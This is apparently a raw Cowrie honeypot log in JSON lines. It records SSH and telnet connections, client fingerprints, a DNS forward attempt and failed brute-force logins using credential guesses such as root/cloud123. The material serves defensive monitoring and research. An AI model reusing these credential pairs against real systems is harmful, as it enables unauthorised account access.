{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:39:45.097838Z","src_ip":"87.251.64.176","session":"c9e7fe9c5bd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:39:45.202293Z","src_ip":"87.251.64.176","session":"c9e7fe9c5bd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":65.72669982910156,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:39:53.206362Z","src_ip":"128.199.8.54","session":"3cf20f6dffc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.1.66","src_port":22638,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b8aed2c0708","protocol":"telnet","message":"New connection: 65.49.1.66:22638 (159.203.135.109:23) [session: 3b8aed2c0708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:39:54.787201Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:39:54.811813Z","src_ip":"65.49.1.66","session":"3b8aed2c0708","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 YaBrowser/23.7.0.2534 Yowser/2.5 Safari/537.36","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 YaBrowser/23.7.0.2534 Yowser/2.5 Safari/537.36/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:39:54.815372Z","src_ip":"65.49.1.66","session":"3b8aed2c0708","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:39:54.819317Z","src_ip":"65.49.1.66","session":"3b8aed2c0708","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.0753629207611084,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:39:54.862428Z","src_ip":"65.49.1.66","session":"3b8aed2c0708","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.97004222869873,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:40:05.920092Z","src_ip":"172.81.62.90","session":"f3bf984b60f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.08527612686157,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:40:08.277156Z","src_ip":"172.81.62.90","session":"482a32fd9355","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":55856,"dst_ip":"10.17.0.5","dst_port":22,"session":"0cab79229153","protocol":"ssh","message":"New connection: 189.203.163.10:55856 (10.17.0.5:22) [session: 0cab79229153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:40:20.016661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:40:20.024367Z","src_ip":"189.203.163.10","session":"0cab79229153","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:40:20.087410Z","src_ip":"189.203.163.10","session":"0cab79229153","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"paf","password":"paf123","message":"login attempt [paf/paf123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:40:20.379584Z","src_ip":"189.203.163.10","session":"0cab79229153","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:40:21.446080Z","src_ip":"189.203.163.10","session":"0cab79229153","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":36144,"dst_ip":"159.203.135.109","dst_port":23,"session":"694c2977edbd","protocol":"telnet","message":"New connection: 172.81.62.90:36144 (159.203.135.109:23) [session: 694c2977edbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:40:42.673030Z"}
{"eventid":"cowrie.session.connect","src_ip":"76.79.213.69","src_port":33284,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c58520d56d0","protocol":"ssh","message":"New connection: 76.79.213.69:33284 (10.17.0.5:22) [session: 4c58520d56d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:40:46.319417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:40:46.324126Z","src_ip":"76.79.213.69","session":"4c58520d56d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:40:46.445622Z","src_ip":"76.79.213.69","session":"4c58520d56d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Reza@123","message":"login attempt [root/Reza@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:40:46.966541Z","src_ip":"76.79.213.69","session":"4c58520d56d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:40:48.091105Z","src_ip":"76.79.213.69","session":"4c58520d56d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":53476,"dst_ip":"10.17.0.5","dst_port":22,"session":"03784262d977","protocol":"ssh","message":"New connection: 160.251.185.39:53476 (10.17.0.5:22) [session: 03784262d977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:41:20.603049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:41:20.607908Z","src_ip":"160.251.185.39","session":"03784262d977","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.10993003845215,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:41:20.782845Z","src_ip":"172.81.62.90","session":"694c2977edbd","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:41:20.789168Z","src_ip":"160.251.185.39","session":"03784262d977","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pratik","password":"pratik","message":"login attempt [pratik/pratik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:41:21.546852Z","src_ip":"160.251.185.39","session":"03784262d977","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:41:22.732981Z","src_ip":"160.251.185.39","session":"03784262d977","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.89.75.194","src_port":60642,"dst_ip":"10.17.0.5","dst_port":22,"session":"b92221742dd9","protocol":"ssh","message":"New connection: 5.89.75.194:60642 (10.17.0.5:22) [session: b92221742dd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:41:25.358360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:41:25.366747Z","src_ip":"5.89.75.194","session":"b92221742dd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:41:25.469468Z","src_ip":"5.89.75.194","session":"b92221742dd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cloud123","message":"login attempt [root/cloud123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:41:25.923024Z","src_ip":"5.89.75.194","session":"b92221742dd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:41:27.034886Z","src_ip":"5.89.75.194","session":"b92221742dd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":36494,"dst_ip":"10.17.0.5","dst_port":22,"session":"443d9bedb879","protocol":"ssh","message":"New connection: 27.71.230.31:36494 (10.17.0.5:22) [session: 443d9bedb879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:41:53.565094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:41:53.814918Z","src_ip":"27.71.230.31","session":"443d9bedb879","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:41:53.818424Z","src_ip":"27.71.230.31","session":"443d9bedb879","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password!123","message":"login attempt [root/password!123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:41:56.031104Z","src_ip":"27.71.230.31","session":"443d9bedb879","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:41:57.322835Z","src_ip":"27.71.230.31","session":"443d9bedb879","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":59654,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea1943028922","protocol":"ssh","message":"New connection: 201.17.146.173:59654 (10.17.0.5:22) [session: ea1943028922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:41:59.658930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:41:59.662743Z","src_ip":"201.17.146.173","session":"ea1943028922","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:41:59.908801Z","src_ip":"201.17.146.173","session":"ea1943028922","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stefan","password":"stefan","message":"login attempt [stefan/stefan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:42:00.586654Z","src_ip":"201.17.146.173","session":"ea1943028922","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:42:01.747267Z","src_ip":"201.17.146.173","session":"ea1943028922","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":35428,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f701299299b","protocol":"ssh","message":"New connection: 103.77.242.62:35428 (159.203.135.109:22) [session: 4f701299299b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:42:24.133023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:42:24.137484Z","src_ip":"103.77.242.62","session":"4f701299299b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:42:24.383313Z","src_ip":"103.77.242.62","session":"4f701299299b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"171082","message":"login attempt [root/171082] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:42:25.120502Z","src_ip":"103.77.242.62","session":"4f701299299b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:42:26.368649Z","src_ip":"103.77.242.62","session":"4f701299299b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":35346,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac9c11fdee51","protocol":"ssh","message":"New connection: 189.203.163.10:35346 (10.17.0.5:22) [session: ac9c11fdee51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:42:35.278721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:42:35.284652Z","src_ip":"189.203.163.10","session":"ac9c11fdee51","protocol":"ssh"}
